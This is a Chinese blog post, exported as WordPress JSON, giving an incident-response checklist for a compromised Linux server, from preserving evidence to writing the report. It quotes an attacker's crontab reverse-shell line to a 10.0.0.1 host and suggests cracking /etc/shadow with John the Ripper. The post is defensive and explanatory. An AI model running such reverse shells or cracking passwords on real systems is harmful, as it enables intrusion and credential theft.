{"id":55861,"date":"2025-08-14T09:04:56","date_gmt":"2025-08-14T01:04:56","guid":{"rendered":"https:\/\/www.wsisp.com\/helps\/55861.html"},"modified":"2025-08-14T09:04:56","modified_gmt":"2025-08-14T01:04:56","slug":"%e4%bb%8e%e5%85%a5%e4%be%b5%e5%88%b0%e6%81%a2%e5%a4%8d%ef%bc%9a%e6%9c%8d%e5%8a%a1%e5%99%a8%e5%ae%89%e5%85%a8%e4%ba%8b%e4%bb%b6%e5%85%a8%e6%b5%81%e7%a8%8b%e5%ba%94%e5%af%b9","status":"publish","type":"post","link":"https:\/\/www.wsisp.com\/helps\/55861.html","title":{"rendered":"\u4ece\u5165\u4fb5\u5230\u6062\u590d\uff1a\u670d\u52a1\u5668\u5b89\u5168\u4e8b\u4ef6\u5168\u6d41\u7a0b\u5e94\u5bf9"},"content":{"rendered":"<h2>\u670d\u52a1\u5668\u88ab\u9ed1\u4e86\u600e\u4e48\u529e&#xff1f;<\/h2>\n<p>\u9047\u5230\u670d\u52a1\u5668\u88ab\u9ed1&#xff0c;\u5f88\u591a\u4eba\u4f1a\u91c7\u7528\u62d4\u7f51\u7ebf\u3001\u5c01 iptables \u6216\u8005\u5173\u6389\u6240\u6709\u670d\u52a1\u7684\u65b9\u5f0f\u5e94\u6025&#xff0c;\u4f46\u5982\u679c\u662f\u7ebf\u4e0a\u670d\u52a1\u5668\u5c31\u4e0d\u80fd\u7acb\u5373\u91c7\u7528\u4efb\u4f55\u5f71\u54cd\u4e1a\u52a1\u7684\u624b\u6bb5\u4e86&#xff0c;\u9700\u8981\u6839\u636e\u670d\u52a1\u5668\u4e1a\u52a1\u60c5\u51b5\u5206\u7c7b\u5904\u7406\u3002<\/p>\n<p>\u4e0b\u9762\u6211\u4eec\u770b\u4e00\u4e2a\u6807\u51c6\u7684\u670d\u52a1\u5668\u5b89\u5168\u5e94\u6025\u5f71\u54cd\u5e94\u8be5\u600e\u4e48\u505a&#xff0c;\u4e5f\u7b97\u662f\u7b14\u8005\u4ece\u4e8b\u5b89\u5168\u4e8b\u4ef6\u5e94\u6025\u8fd1 6 \u5e74\u4ee5\u6765\u7684\u4e00\u4e9b\u7ecf\u9a8c\u4e4b\u8c08&#xff0c;\u501f\u6b64\u629b\u7816\u5f15\u7389&#xff0c;\u5e0c\u671b\u5927\u795e\u4eec\u4e0d\u541d\u8d50\u6559\u3002<\/p>\n<p><img decoding=\"async\" src=\"https:\/\/www.wsisp.com\/helps\/wp-content\/uploads\/2025\/08\/20250814010455-689d36371de56.png\" alt=\"\" \/><\/p>\n<p>\u5982\u4e0a\u56fe&#xff0c;\u5c06\u670d\u52a1\u5668\u5b89\u5168\u5e94\u6025\u54cd\u5e94\u6d41\u7a0b\u5206\u4e3a\u5982\u4e0b 8 \u4e2a\u73af\u8282&#xff1a;<\/p>\n<ul>\n<li>\n<p>\u53d1\u73b0\u5b89\u5168\u4e8b\u4ef6&#xff08;\u6838\u5b9e&#xff09;<\/p>\n<\/li>\n<li>\n<p>\u73b0\u573a\u4fdd\u62a4<\/p>\n<\/li>\n<li>\n<p>\u670d\u52a1\u5668\u4fdd\u62a4<\/p>\n<\/li>\n<li>\n<p>\u5f71\u54cd\u8303\u56f4\u8bc4\u4f30<\/p>\n<\/li>\n<li>\n<p>\u5728\u7ebf\u5206\u6790<\/p>\n<\/li>\n<li>\n<p>\u6570\u636e\u5907\u4efd<\/p>\n<\/li>\n<li>\n<p>\u6df1\u5165\u5206\u6790<\/p>\n<\/li>\n<li>\n<p>\u4e8b\u4ef6\u62a5\u544a\u6574\u7406<\/p>\n<\/li>\n<\/ul>\n<p>\u63a5\u4e0b\u6765\u6211\u4eec\u5c06\u6bcf\u4e2a\u73af\u8282\u5206\u89e3&#xff0c;\u770b\u770b\u9700\u8981\u5982\u4f55\u65ad\u5f00\u5f02\u5e38\u8fde\u63a5\u3001\u6392\u67e5\u5165\u4fb5\u6e90\u5934\u3001\u907f\u514d\u4e8c\u6b21\u5165\u4fb5\u7b49\u3002<\/p>\n<h3>\u6838\u5b9e\u4fe1\u606f&#xff08;\u8fd0\u7ef4\/\u5b89\u5168\u4eba\u5458&#xff09;<\/h3>\n<p>\u6839\u636e\u5b89\u5168\u4e8b\u4ef6\u901a\u77e5\u6e90\u7684\u4e0d\u540c&#xff0c;\u5206\u4e3a\u4e24\u79cd&#xff1a;<\/p>\n<ul>\n<li>\n<p>**\u5916\u754c\u901a\u77e5&#xff1a;**\u548c\u62a5\u544a\u4eba\u6838\u5b9e\u4fe1\u606f&#xff0c;\u786e\u8ba4\u670d\u52a1\u5668\/\u7cfb\u7edf\u662f\u5426\u88ab\u5165\u4fb5\u3002\u73b0\u5728\u5f88\u591a\u4f01\u4e1a\u6709\u81ea\u5df1\u7684 SRC&#xff08;\u5b89\u5168\u54cd\u5e94\u4e2d\u5fc3&#xff09;&#xff0c;\u5728\u6b64\u4e4b\u524d\u66f4\u591a\u7684\u662f\u4f9d\u8d56\u67d0\u4e91\u3002\u8fd9\u79cd\u60c5\u51b5\u5165\u4fb5\u7684\u6838\u5b9e\u4e00\u822c\u662f\u5b89\u5168\u5de5\u7a0b\u5e08\u5b8c\u6210\u3002<\/p>\n<\/li>\n<li>\n<p>**\u81ea\u884c\u53d1\u73b0&#xff1a;**\u6839\u636e\u670d\u52a1\u5668\u7684\u5f02\u5e38\u6216\u6545\u969c\u5224\u65ad&#xff0c;\u6bd4\u5982\u5bf9\u5916\u53d1\u9001\u5927\u89c4\u6a21\u6d41\u91cf\u6216\u8005\u7cfb\u7edf\u8d1f\u8f7d\u5f02\u5e38\u9ad8\u7b49&#xff0c;\u8fd9\u79cd\u60c5\u51b5\u4e00\u822c\u662f\u8fd0\u7ef4\u5de5\u7a0b\u5e08\u53d1\u73b0\u5e76\u6838\u5b9e\u7684\u3002<\/p>\n<\/li>\n<\/ul>\n<h3>\u73b0\u573a\u4fdd\u62a4&#xff08;\u8fd0\u7ef4&#xff09;<\/h3>\n<p>\u6211\u4eec\u5f88\u591a\u4eba\u770b\u8fc7\u5927\u9646\u7684\u7535\u89c6\u5267\u300a\u91cd\u6848\u516d\u7ec4\u300b&#xff0c;\u6bcf\u6b21\u63a5\u5230\u5211\u4e8b\u6848\u4ef6&#xff0c;\u5211\u8b66\u4eec\u7b2c\u4e00\u65f6\u95f4\u5c31\u662f\u5c01\u9501\u73b0\u573a\u3001\u4fdd\u5b58\u73b0\u573a\u539f\u72b6\u3002<\/p>\n<p>\u540c\u6837\u9053\u7406&#xff0c;\u5b89\u5168\u4e8b\u4ef6\u53d1\u751f\u73b0\u573a&#xff0c;\u8ddf\u5211\u4e8b\u6848\u4ef6\u53d1\u751f\u73b0\u573a\u4e00\u6837&#xff0c;\u9700\u8981\u4fdd\u5b58\u7b2c\u4e00\u73b0\u573a\u91cd\u8981\u4fe1\u606f&#xff0c;\u65b9\u4fbf\u540e\u9762\u5165\u4fb5\u68c0\u6d4b\u548c\u53d6\u8bc1\u3002<\/p>\n<h3>\u4fdd\u5b58\u73b0\u573a\u73af\u5883&#xff08;\u622a\u56fe&#xff09;<\/h3>\n<p>\u76f8\u5173\u4fe1\u606f\u91c7\u96c6\u547d\u4ee4\u5982\u4e0b&#xff1a;<\/p>\n<ul>\n<li>\n<p>**\u8fdb\u7a0b\u4fe1\u606f&#xff1a;**ps axu<\/p>\n<\/li>\n<li>\n<p>**\u7f51\u7edc\u4fe1\u606f&#xff1a;**netstat \u2013a<\/p>\n<\/li>\n<li>\n<p>**\u7f51\u7edc&#043;\u8fdb\u7a0b&#xff1a;**lsof \/ netstat -p<\/p>\n<\/li>\n<\/ul>\n<h3>\u653b\u51fb\u8005\u767b\u9646\u60c5\u51b5&#xff08;\u622a\u56fe&#xff09;<\/h3>\n<p>\u76f8\u5173\u4fe1\u606f\u91c7\u96c6\u547d\u4ee4\u5982\u4e0b&#xff1a;<\/p>\n<ul>\n<li>\u67e5\u770b\u5f53\u524d\u767b\u5f55\u7528\u6237&#xff1a;w \u6216 who -a<\/li>\n<\/ul>\n<h3>\u670d\u52a1\u5668\u4fdd\u62a4&#xff08;\u8fd0\u7ef4\/\u673a\u623f&#xff09;<\/h3>\n<p>\u8fd9\u91cc\u7684\u73b0\u573a\u4fdd\u62a4\u548c\u670d\u52a1\u5668\u4fdd\u62a4\u662f\u4e24\u4e2a\u4e0d\u540c\u7684\u73af\u8282&#xff0c;\u524d\u8005\u6ce8\u91cd\u53d6\u8bc1&#xff0c;\u540e\u8005\u6ce8\u91cd\u73af\u5883\u9694\u79bb\u3002<\/p>\n<p>\u6838\u5b9e\u673a\u5668\u88ab\u5165\u4fb5\u540e&#xff0c;\u5e94\u5f53\u5c3d\u5feb\u5c06\u673a\u5668\u4fdd\u62a4\u8d77\u6765&#xff0c;\u907f\u514d\u88ab\u4e8c\u6b21\u5165\u4fb5\u6216\u8005\u5f53\u6210\u8df3\u677f\u6269\u5927\u653b\u51fb\u9762\u3002<\/p>\n<p>\u6b64\u65f6&#xff0c;\u4e3a\u4fdd\u62a4\u670d\u52a1\u5668\u548c\u4e1a\u52a1&#xff0c;\u907f\u514d\u670d\u52a1\u5668\u88ab\u653b\u51fb\u8005\u7ee7\u7eed\u5229\u7528&#xff0c;\u5e94\u5c3d\u5feb\u8fc1\u79fb\u4e1a\u52a1&#xff0c;\u7acb\u5373\u4e0b\u7ebf\u673a\u5668\u3002<\/p>\n<p>\u5982\u679c\u4e0d\u80fd\u7acb\u5373\u5904\u7406&#xff0c;\u5e94\u5f53\u901a\u8fc7\u914d\u7f6e\u7f51\u7edc ACL \u7b49\u65b9\u5f0f&#xff0c;\u5c01\u6389\u8be5\u670d\u52a1\u5668\u5bf9\u7f51\u7edc\u7684\u53cc\u5411\u8fde\u63a5\u3002<\/p>\n<h3>\u5f71\u54cd\u8303\u56f4\u8bc4\u4f30&#xff08;\u8fd0\u7ef4\/\u5f00\u53d1&#xff09;<\/h3>\n<p>\u4e00\u822c\u662f\u8fd0\u7ef4\u6216\u8005\u7a0b\u5e8f\u786e\u8ba4\u5f71\u54cd\u8303\u56f4&#xff0c;\u9700\u8981\u8fd0\u7ef4\u901a\u8fc7\u65e5\u5fd7\u6216\u8005\u76d1\u63a7\u56fe\u8868\u786e\u8ba4\u6570\u636e\u5e93\u6216\u8005\u654f\u611f\u6587\u4ef6\u662f\u5426\u6cc4\u9732&#xff0c;\u5982\u679c\u662f\u4ee3\u7801\u6216\u8005\u6570\u636e\u5e93\u6cc4\u9732\u4e86&#xff0c;\u5219\u9700\u8981\u7a0b\u5e8f\u8bc4\u4f30\u5371\u5bb3\u60c5\u51b5\u4e0e\u5904\u7f6e\u65b9\u6cd5\u3002<\/p>\n<p>\u5f71\u54cd\u8bbf\u95ee\u8bc4\u4f30\u4e00\u822c\u4ece\u4e0b\u9762\u51e0\u70b9\u6765\u5165\u624b&#xff1a;<\/p>\n<ul>\n<li>\n<p>**\u5177\u4f53\u4e1a\u52a1\u67b6\u6784&#xff1a;**Web(PHP\/Java&#xff0c; WebServer)&#xff0c; Proxy&#xff0c; DB\u7b49\u3002<\/p>\n<\/li>\n<li>\n<p>**IP \u53ca\u6240\u5904\u533a\u57df\u62d3\u6251\u7b49&#xff1a;**VLAN \u5185\u670d\u52a1\u5668\u548c\u5e94\u7528\u60c5\u51b5\u3002<\/p>\n<\/li>\n<li>\n<p>**\u786e\u5b9a\u540c\u4e00\u7f51\u7edc\u4e0b\u9762\u670d\u52a1\u5668\u4e4b\u95f4\u7684\u8bbf\u95ee&#xff1a;**\u53ef\u4ee5\u4e92\u76f8\u767b\u9646&#xff0c;\u662f\u5426\u9700\u8981 Key \u6216\u8005\u662f\u5bc6\u7801\u767b\u5f55\u3002<\/p>\n<\/li>\n<\/ul>\n<p>\u7531\u6b64\u786e\u5b9a\u68c0\u67e5\u5f71\u54cd\u8303\u56f4&#xff0c;\u786e\u8ba4\u6240\u6709\u53d7\u5230\u5f71\u54cd\u7684\u7f51\u6bb5\u548c\u673a\u5668\u3002<\/p>\n<h3>\u5728\u7ebf\u5206\u6790&#xff08;\u5b89\u5168\u4eba\u5458\/\u8fd0\u7ef4&#xff09;<\/h3>\n<p>\u8fd9\u65f6\u9700\u8981\u6839\u636e\u4e2a\u4eba\u7ecf\u9a8c\u5feb\u901f\u5728\u7ebf\u5206\u6790&#xff0c;\u4e00\u822c\u662f\u5b89\u5168\u4eba\u5458\u548c\u8fd0\u7ef4\u540c\u65f6\u5728\u7ebf\u5904\u7406&#xff0c;\u4e0d\u8fc7\u4f1a\u6d89\u53ca\u591a\u4eba\u534f\u4f5c\u7684\u95ee\u9898&#xff0c;\u9700\u8981\u907f\u514d\u591a\u4eba\u64cd\u4f5c\u673a\u5668\u65f6\u7834\u574f\u670d\u52a1\u5668\u73b0\u573a&#xff0c;\u9020\u6210\u5206\u6790\u56f0\u6270\u3002<\/p>\n<p>\u4e4b\u524d\u7b14\u8005\u9047\u5230\u4e00\u4e2a\u7c7b\u4f3c\u7684\u95ee\u9898&#xff0c;\u5c31\u662f\u8fd0\u7ef4\u6392\u67e5\u65f6\u6572\u9519\u4e86 iptables \u7684\u547d\u4ee4&#xff0c;\u5c06 iptables -L \u6572\u6210 iptables -i \u5bfc\u81f4 iptables-save \u65f6\u51fa\u73b0\u5f02\u5e38\u8bb0\u5f55&#xff0c;\u7ed3\u679c\u5b89\u5168\u4eba\u5458\u4e0a\u6765\u68c0\u67e5\u65f6\u5c31\u88ab\u8fd9\u6761\u8bb0\u5f55\u8ff7\u60d1\u4e86&#xff0c;\u5bfc\u81f4\u5904\u7406\u601d\u8def\u53d7\u5230\u4e00\u5b9a\u5e72\u6270\u3002<\/p>\n<h3>\u6240\u6709\u7528\u6237 History \u65e5\u5fd7\u68c0\u6d4b<\/h3>\n<ul>\n<li>\n<p>\u5173\u952e\u5b57&#xff1a;wget\/curl&#xff0c; gcc&#xff0c; \u6216\u8005\u9690\u85cf\u6587\u4ef6&#xff0c; \u654f\u611f\u6587\u4ef6\u540e\u7f00&#xff08;.c&#xff0c;.py&#xff0c;conf&#xff0c; .pl&#xff0c; .sh)\u3002<\/p>\n<\/li>\n<li>\n<p>\u68c0\u67e5\u662f\u5426\u5b58\u5728\u5f02\u5e38\u7528\u6237\u3002<\/p>\n<\/li>\n<li>\n<p>\u68c0\u67e5\u6700\u8fd1\u6dfb\u52a0\u7684\u7528\u6237&#xff0c;\u662f\u5426\u6709\u4e0d\u77e5\u540d\u7528\u6237\u6216\u4e0d\u89c4\u8303\u63d0\u6743\u3002<\/p>\n<\/li>\n<li>\n<p>\u627e\u51fa root \u6743\u9650\u7684\u7528\u6237\u3002<\/p>\n<\/li>\n<\/ul>\n<p>\u53ef\u4ee5\u6267\u884c\u4ee5\u4e0b\u547d\u4ee4\u68c0\u67e5&#xff1a;<\/p>\n<p>grep -v -E \u201c^#\u201d \/etc\/passwd | awk -F&#xff1a; \u2018$3 &#061;&#061; 0 { print $1}\u2019<\/p>\n<h3>\u53cd\u8fde\u6728\u9a6c\u5224\u65ad<\/h3>\n<ul>\n<li>\n<p>netstat \u2013a<\/p>\n<\/li>\n<li>\n<p>\u6ce8\u610f\u975e\u6b63\u5e38\u7aef\u53e3\u7684\u5916\u7f51 IP<\/p>\n<\/li>\n<\/ul>\n<h3>\u53ef\u7591\u8fdb\u7a0b\u5224\u65ad<\/h3>\n<ul>\n<li>\n<p>\u5224\u65ad\u662f\u5426\u4e3a\u6728\u9a6c ps \u2013aux<\/p>\n<\/li>\n<li>\n<p>\u91cd\u70b9\u5173\u6ce8\u6587\u4ef6&#xff08;\u9690\u85cf\u6587\u4ef6&#xff09;&#xff0c; Python\u811a\u672c&#xff0c;Perl\u811a\u672c&#xff0c;Shell \u811a\u672c&#xff08;bash\/sh\/zsh&#xff09;\u3002<\/p>\n<\/li>\n<li>\n<p>\u4f7f\u7528 which&#xff0c;whereis&#xff0c;find \u5b9a\u4f4d\u3002<\/p>\n<\/li>\n<\/ul>\n<p>Crontab \u68c0\u6d4b<\/p>\n<p>\u4e0d\u8981\u7528 crontab \u2013l \u67e5\u770b crontab&#xff08;\u7ed5\u8fc7\u68c0\u6d4b&#xff09;&#xff0c;\u4e5f\u6709\u901a\u8fc7\u5199 crontab \u914d\u7f6e\u6587\u4ef6\u53cd\u5f39Shell \u7684&#xff0c;\u7b14\u8005\u63a5\u89e6\u8fc7\u51e0\u6b21&#xff0c;\u4e00\u822c\u90fd\u662f\u4f7f\u7528\u7684 bash -i &gt;&amp; \/dev\/tcp\/10.0.0.1\/8080 0&gt;&amp;1\u3002<\/p>\n<p>\u7cfb\u7edf\u65e5\u5fd7\u68c0\u6d4b<\/p>\n<ul>\n<li>\n<p>\u68c0\u67e5 sshd \u670d\u52a1\u914d\u7f6e\u6587\u4ef6 \/etc\/ssh\/sshd_config \u548c\u7cfb\u7edf\u8ba4\u8bc1\u65e5\u5fd7 auth\u3001message&#xff0c;\u5224\u65ad\u662f\u5426\u4e3a\u53e3\u4ee4\u7834\u89e3\u653b\u51fb\u3002<\/p>\n<\/li>\n<li>\n<p>\/etc\/ssh\/sshd_config \u6587\u4ef6\u786e\u8ba4\u8ba4\u8bc1\u65b9\u5f0f\u3002<\/p>\n<\/li>\n<li>\n<p>\u786e\u8ba4\u65e5\u5fd7\u662f\u5426\u88ab\u5220\u9664\u6216\u8005\u6e05\u7406\u8fc7\u7684\u53ef\u80fd&#xff08;\u5927\u5c0f\u5224\u65ad&#xff09;\u3002<\/p>\n<\/li>\n<li>\n<p>last\/lastb \u53ef\u4ee5\u4f5c\u4e3a\u8f85\u52a9&#xff0c;\u4e0d\u8fc7\u53ef\u80fd\u4e0d\u51c6\u786e\u3002<\/p>\n<\/li>\n<\/ul>\n<p>NHIDS \u6b63\u5e38\u8fd0\u884c\u5224\u65ad<\/p>\n<ul>\n<li>\n<p>**\u662f\u5426\u5b89\u88c5&#xff1a;**ls \/etc\/ossec<\/p>\n<\/li>\n<li>\n<p>**\u662f\u5426\u8fd0\u884c\u6b63\u5e38&#xff1a;**ps axu |grep nhids&#xff0c;\u4e09\u4e2a nhids \u8fdb\u7a0b\u5219\u8868\u793a\u6b63\u5e38<\/p>\n<\/li>\n<\/ul>\n<h3>\u5176\u4ed6\u653b\u51fb\u5206\u6790<\/h3>\n<p>\u6293\u53d6\u7f51\u7edc\u6570\u636e\u5305\u5e76\u8fdb\u884c\u5206\u6790&#xff0c;\u5224\u65ad\u662f\u5426\u4e3a\u62d2\u7edd\u670d\u52a1\u653b\u51fb&#xff0c;\u8fd9\u91cc\u9700\u8981\u6ce8\u610f&#xff0c;\u4e00\u5b9a\u8981\u4f7f\u7528 -w \u53c2\u6570&#xff0c;\u8fd9\u6837\u624d\u80fd\u4fdd\u5b58\u6210 pcap \u683c\u5f0f\u5bfc\u5165\u5230 wireshark&#xff0c;\u8fd9\u6837\u5206\u6790\u8d77\u6765\u4f1a\u4e8b\u534a\u529f\u500d\u3002<\/p>\n<p>tcpdump -w tcpdump.log<\/p>\n<h3>\u5b89\u5168\u76f8\u5173\u7684\u5173\u952e\u6587\u4ef6\u548c\u6570\u636e\u5907\u4efd&#xff08;\u8fd0\u7ef4&#xff09;<\/h3>\n<p>\u53ef\u4ee5\u540c\u6b65\u8fdb\u884c&#xff0c;\u4f7f\u7528 sftp\/rsync \u7b49\u5c06\u65e5\u5fd7\u4e0a\u4f20\u5230\u5b89\u5168\u7684\u670d\u52a1\u5668&#xff1a;<\/p>\n<ul>\n<li>\n<p>\u6253\u5305\u7cfb\u7edf\u65e5\u5fd7&#xff1a;\u53c2\u8003&#xff1a;$ tar -jcvf syslog.tar.bz2 \/var\/log<\/p>\n<\/li>\n<li>\n<p>\u6253\u5305 Web \u65e5\u5fd7&#xff1a;access log<\/p>\n<\/li>\n<li>\n<p>\u6253\u5305 History \u65e5\u5fd7&#xff08;\u6240\u6709\u7528\u6237&#xff09;&#xff0c;\u53c2\u8003&#xff1a;$ cp \/home\/user\/&#xff0c;history user_history<\/p>\n<\/li>\n<li>\n<p>\u6253\u5305 crontab \u8bb0\u5f55<\/p>\n<\/li>\n<li>\n<p>\u6253\u5305\u5bc6\u7801\u6587\u4ef6&#xff1a;\/etc\/passwd&#xff0c; \/etc\/shadow<\/p>\n<\/li>\n<li>\n<p>\u6253\u5305\u53ef\u7591\u6587\u4ef6\u3001\u540e\u95e8\u3001Shell \u4fe1\u606f<\/p>\n<\/li>\n<\/ul>\n<h3>\u6df1\u5165\u5206\u6790&#xff08;\u5b89\u5168\u4eba\u5458&#xff09;<\/h3>\n<p>\u521d\u6b65\u9501\u5b9a\u5f02\u5e38\u8fdb\u7a0b\u548c\u6076\u610f\u4ee3\u7801\u540e&#xff0c;\u5c06\u53d7\u5f71\u54cd\u8303\u56f4\u68b3\u7406\u6e05\u695a&#xff0c;\u5c01\u7981\u4e86\u5165\u4fb5\u8005\u5bf9\u673a\u5668\u7684\u63a7\u5236\u540e&#xff0c;\u63a5\u4e0b\u6765\u9700\u8981\u6df1\u5165\u6392\u67e5\u5165\u4fb5\u539f\u56e0\u3002\u4e00\u822c\u53ef\u4ee5\u4ece Webshell\u3001\u5f00\u653e\u7aef\u53e3\u670d\u52a1\u7b49\u65b9\u5411\u987a\u85e4\u6478\u74dc\u3002<\/p>\n<p>Webshell \u5165\u4fb5<\/p>\n<ul>\n<li>\n<p>\u4f7f\u7528 Webshell_check.py \u811a\u672c\u68c0\u6d4b Web \u76ee\u5f55&#xff1a;<\/p>\n<p>$ python webshell_check.py \/var\/www\/ &gt;result.txt<\/p>\n<\/li>\n<li>\n<p>\u67e5\u627e Web \u76ee\u5f55\u4e0b\u6240\u6709 nobody \u7684\u6587\u4ef6&#xff0c;\u4eba\u5de5\u5206\u6790&#xff1a;<\/p>\n<p>$ find \/var\/www \u2013user nobody &gt;nobody.txt<\/p>\n<\/li>\n<li>\n<p>\u5982\u679c\u80fd\u786e\u5b9a\u5165\u4fb5\u65f6\u95f4&#xff0c;\u53ef\u4ee5\u4f7f\u7528 find \u67e5\u627e\u6700\u8fd1\u65f6\u95f4\u6bb5\u5185\u53d8\u5316\u7684\u6587\u4ef6&#xff1a;<\/p>\n<p>$ find \/ -type f -name \u201c\\\\.?*\u201d |xargs ls -l |grep \u201cMar 22\u201d<\/p>\n<p>$ find \/ -ctime\/-mtime 8<\/p>\n<\/li>\n<\/ul>\n<p>\u5229\u7528 Web \u6f0f\u6d1e\u76f4\u63a5\u53cd\u8fde Shell<\/p>\n<p>\u5206\u6790 access.log&#xff1a;<\/p>\n<ul>\n<li>\n<p>**\u7f29\u5c0f\u65e5\u5fd7\u8303\u56f4&#xff1a;**\u65f6\u95f4&#xff0c;\u5f02\u5e38 IP \u63d0\u53d6\u3002<\/p>\n<\/li>\n<li>\n<p>**\u653b\u51fb\u884c\u4e3a\u63d0\u53d6&#xff1a;**\u5e38\u89c1\u7684\u653b\u51fb exp \u8bc6\u522b\u3002<\/p>\n<\/li>\n<\/ul>\n<p>\u7cfb\u7edf\u5f31\u53e3\u4ee4\u5165\u4fb5<\/p>\n<p>\u8ba4\u8bc1\u76f8\u5173\u65e5\u5fd7 auth\/syslog\/message \u6392\u67e5&#xff1a;<\/p>\n<ul>\n<li>\n<p>\u7206\u7834\u884c\u4e3a\u5b9a\u4f4d\u548c IP \u63d0\u53d6\u3002<\/p>\n<\/li>\n<li>\n<p>\u7206\u7834\u662f\u5426\u6210\u529f\u786e\u5b9a&#xff1a;\u6709\u7206\u7834\u884c\u4e3a IP \u662f\u5426\u6709 accept \u8bb0\u5f55\u3002<\/p>\n<\/li>\n<\/ul>\n<p>\u5982\u679c\u65e5\u5fd7\u5df2\u7ecf\u88ab\u6e05\u7406&#xff0c;\u4f7f\u7528\u5de5\u5177&#xff08;\u6bd4\u5982John the Ripper&#xff09;\u7206\u7834 \/etc\/passwd&#xff0c;\/etc\/shadow\u3002<\/p>\n<p>\u5176\u4ed6\u5165\u4fb5<\/p>\n<p>\u5176\u4ed6\u670d\u52a1\u5668\u8df3\u677f\u5230\u672c\u673a\u3002<\/p>\n<p>\u540e\u7eed\u884c\u4e3a\u5206\u6790<\/p>\n<ul>\n<li>\n<p>**History \u65e5\u5fd7&#xff1a;**\u63d0\u6743\u3001\u589e\u52a0\u540e\u95e8&#xff0c;\u4ee5\u53ca\u662f\u5426\u88ab\u6e05\u7406\u3002<\/p>\n<\/li>\n<li>\n<p>**Sniffer&#xff1a;**\u7f51\u5361\u6df7\u6742\u6a21\u5f0f\u68c0\u6d4b ifconfig |grep \u2013i proc\u3002<\/p>\n<\/li>\n<li>\n<p>**\u5185\u7f51\u626b\u63cf&#xff1a;**\u7f51\u7edc nmap\/ \u626b\u63cf\u5668&#xff0c;socks5 \u4ee3\u7406\u3002<\/p>\n<\/li>\n<li>\n<p>**\u786e\u5b9a\u662f\u5426\u6709 rootkit&#xff1a;**rkhunter&#xff0c; chkrootkit&#xff0c; ps\/netstat \u66ff\u6362\u786e\u8ba4\u3002<\/p>\n<\/li>\n<\/ul>\n<p>\u540e\u95e8\u6e05\u7406\u6392\u67e5<\/p>\n<ul>\n<li>\n<p>**\u6839\u636e\u65f6\u95f4\u70b9\u505a\u5173\u8054\u5206\u6790&#xff1a;**\u67e5\u627e\u90a3\u4e2a\u65f6\u95f4\u6bb5\u7684\u6240\u6709\u6587\u4ef6\u3002<\/p>\n<\/li>\n<li>\n<p>\u4e00\u4e9b\u5c0f\u6280\u5de7&#xff1a;\/tmp \u76ee\u5f55&#xff0c; ls \u2013la&#xff0c;\u67e5\u770b\u6240\u6709\u6587\u4ef6&#xff0c;\u6ce8\u610f\u9690\u85cf\u7684\u6587\u4ef6\u3002<\/p>\n<\/li>\n<li>\n<p>**\u6839\u636e\u7528\u6237\u505a\u65f6\u95f4\u5173\u8054&#xff1a;**\u6bd4\u5982 nobody\u3002<\/p>\n<\/li>\n<\/ul>\n<p>\u5176\u4ed6\u673a\u5668\u7684\u5173\u8054\u64cd\u4f5c<\/p>\n<p>\u5176\u4ed6\u673a\u5668\u548c\u8fd9\u53f0\u673a\u5668\u7684\u7f51\u7edc\u8fde\u63a5 &#xff08;\u65e5\u5fd7\u67e5\u770b&#xff09;\u3001\u76f8\u540c\u4e1a\u52a1\u60c5\u51b5&#xff08;\u540c\u6837\u4e1a\u52a1&#xff0c;\u8d1f\u8f7d\u5747\u8861&#xff09;\u3002<\/p>\n<h3>\u6574\u7406\u4e8b\u4ef6\u62a5\u544a&#xff08;\u5b89\u5168\u4eba\u5458&#xff09;<\/h3>\n<p>\u4e8b\u4ef6\u62a5\u544a\u5e94\u5305\u542b\u4f46\u4e0d\u9650\u4e8e\u4ee5\u4e0b\u51e0\u4e2a\u70b9&#xff1a;<\/p>\n<ul>\n<li>\n<p>**\u5206\u6790\u4e8b\u4ef6\u53d1\u751f\u539f\u56e0&#xff1a;**\u4e8b\u4ef6\u4e3a\u4ec0\u4e48\u4f1a\u53d1\u751f\u7684\u539f\u56e0\u3002<\/p>\n<\/li>\n<li>\n<p>**\u5206\u6790\u6574\u4e2a\u653b\u51fb\u6d41\u7a0b&#xff1a;**\u65f6\u95f4\u70b9\u3001\u64cd\u4f5c\u3002<\/p>\n<\/li>\n<li>\n<p>**\u5206\u6790\u4e8b\u4ef6\u5904\u7406\u8fc7\u7a0b&#xff1a;**\u6574\u4e2a\u4e8b\u4ef6\u5904\u7406\u8fc7\u7a0b\u603b\u7ed3\u662f\u5426\u6709\u4e0d\u8db3\u3002<\/p>\n<\/li>\n<li>\n<p>**\u5206\u6790\u4e8b\u4ef6\u9884\u9632&#xff1a;**\u5982\u4f55\u907f\u514d\u4e8b\u60c5\u518d\u6b21\u53d1\u751f\u3002<\/p>\n<\/li>\n<li>\n<p>**\u603b\u7ed3&#xff1a;**\u603b\u7ed3\u4e8b\u4ef6\u539f\u56e0&#xff0c;\u6539\u8fdb\u5904\u7406\u8fc7\u7a0b&#xff0c;\u9884\u9632\u7c7b\u4f3c\u4e8b\u4ef6\u518d\u6b21\u53d1\u751f\u3002<\/p>\n<\/li>\n<\/ul>\n<p>\u5904\u7406\u4e2d\u9047\u5230\u7684\u6bd4\u8f83\u68d8\u624b\u7684\u4e8b\u60c5<\/p>\n<p>\u65e5\u5fd7\u548c\u64cd\u4f5c\u8bb0\u5f55\u5168\u88ab\u5220\u4e86&#xff0c;\u600e\u4e48\u529e&#xff1f;<\/p>\n<p>strace \u67e5\u770b losf \u8fdb\u7a0b&#xff0c;\u518d\u5c1d\u8bd5\u6062\u590d\u4e00\u4e0b\u65e5\u5fd7\u8bb0\u5f55&#xff0c;\u4e0d\u884c\u7684\u8bdd\u955c\u50cf\u786c\u76d8\u6570\u636e\u6162\u6162\u67e5\u3002\u8fd9\u4e2a\u8981\u7528\u5230\u4e00\u4e9b\u53d6\u8bc1\u5de5\u5177\u4e86&#xff0c;dd \u786c\u76d8\u6570\u636e\u518d\u53bb\u8fd8\u539f\u51fa\u6765\u3002<\/p>\n<p>\u7cfb\u7edf\u8d26\u53f7\u5bc6\u7801\u90fd\u4fee\u6539\u4e86&#xff0c;\u767b\u4e0d\u8fdb\u53bb&#xff1f;<\/p>\n<p>\u91cd\u542f\u8fdb\u5355\u7528\u6237\u6a21\u5f0f\u4fee\u6539 root 